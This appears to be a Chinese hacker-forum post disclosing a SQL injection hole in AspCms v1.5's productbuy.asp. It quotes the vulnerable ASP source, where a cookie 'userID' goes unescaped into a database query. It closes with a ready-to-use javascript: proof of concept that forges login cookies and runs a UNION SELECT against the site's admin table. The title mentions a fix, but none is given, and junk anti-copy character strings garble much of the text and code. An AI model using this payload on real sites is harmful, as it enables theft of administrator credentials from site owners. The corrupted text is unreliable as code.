AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
3 v- K- h( ?) h废话不多说，看代码：

" o2 P8 g) R, ]9 Z; d  ~<%
) \! V1 I- t; h' k" W
if action = "buy" then

) y: l, B+ I* ?2 l        addOrder()
8 j. c; N# X$ ~/ j5 P" A  G  m% T
else
5 e5 W" H% x; G' G; g4 c9 R& W' ~
' z# _% u) X1 v( L        echoContent()
" X( w0 C6 r! r- z1 Y2 w
+ l* P! K3 C- @3 I/ o! ~0 Wend if

; l1 k2 U# o! ~
$ v% n' w* R. f0 r# i- @; c4 C
……略过
# f& |/ d, j/ k" u6 m4 h2 y5 a
' t' A) C/ c% j4 d' a
" p* `/ D/ C  t* B6 @0 E& F
. S3 s, J7 z8 M; S8 @+ iSub echoContent()
# Y3 n* U8 M3 y. O. y
        dim id

        id=getForm("id","get")

  z3 J$ x' Z4 Q1 S% U        

4 M# H. d) ?0 l" ?$ d        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
# t9 \/ {/ j+ `3 [2 |
        
0 o% v& K  s- f# q' j6 W+ K
4 R- ~: T; {5 W* M& r$ a: |        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
9 K$ x7 z* e- r4 ?% [
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
/ {2 F  z' h4 M0 i  |/ W0 F5 o" k
        Dim templatePath,tempStr
: C& H" w. v& I! f7 r6 f2 n9 E
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
8 w& c3 t& E  |* T+ N. H  }
, l: V" n5 D! D& H% t, H
) [9 V; y6 s0 s' w7 w1 F
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)

        

4 }. P$ i6 d; P# Z6 Q1 n        Dim linkman,gender,phone,mobile,email,qq,address,postcode

) f; X1 y* x3 Y        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
, d# o, z/ X$ b6 _) k( x
        if rCookie("loginstatus")=1 then  
$ E6 ?. D+ H! _; S  N' u
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
9 f' s! j* }7 ~) p2 z
                linkman=rsObj("truename")
0 v0 f. V' k- Z7 p* H* e
                gender=rsObj("gender")

                phone=rsObj("phone")
' Y- Z) x# ]0 t
# w- I! n! N, G9 U                mobile=rsObj("mobile")

0 M; q" m/ V0 x5 v! f, }                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")
5 U; H- {( a$ W9 Q
                postcode=rsObj("postcode")
) v3 n% U# {  l" y& \- t* Q  E
        else

1 P9 q' f; e+ [8 i                gender=1

        end if
2 t9 x. {) a! h
/ o" j' G8 R2 Y7 l        rsObj.close()
' ~! u$ V! ]+ k9 a8 D9 B
               

. ^& p3 n! b4 Z  R( E4 F# k: h5 z. F        with templateObj
; V8 q" ]7 ?* V+ R: j3 M& l
! d6 ~( e0 M2 T6 ]                .content=loadFile(templatePath)        
' C5 i9 z) v1 r3 C3 s4 u6 ?1 {
                .parseHtml()
" J2 V2 @3 @- H7 c
$ r6 }7 _, R0 \. p6 I                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
3 Q8 `! e: F* P/ ?& \
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
+ t# R3 R: N9 t7 }
                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               
4 l# L( s- i( J/ B
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
) m8 e+ ^3 ~1 T9 B3 t8 u
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

, H/ \6 n4 m1 B                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

; ?, K! Z  y8 N& y3 H                .parseCommon()                 

, q: N- E* P- v" b                echo .content
& f5 b& S  P, c. b. E
% g5 e+ V1 D/ i7 o; }% ~        end with

        set templateobj =nothing : terminateAllObjects
+ P8 u* l7 _& G3 C
2 n* P! h, B8 H2 BEnd Sub
; G8 `" [* d5 C) ]漏洞很明显，没啥好说的
+ o9 K  R4 h5 y6 x. T& npoc：
3 X& s6 P* ]/ f+ Y% |
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

( W0 E9 l- c8 `  w2 Q& J) a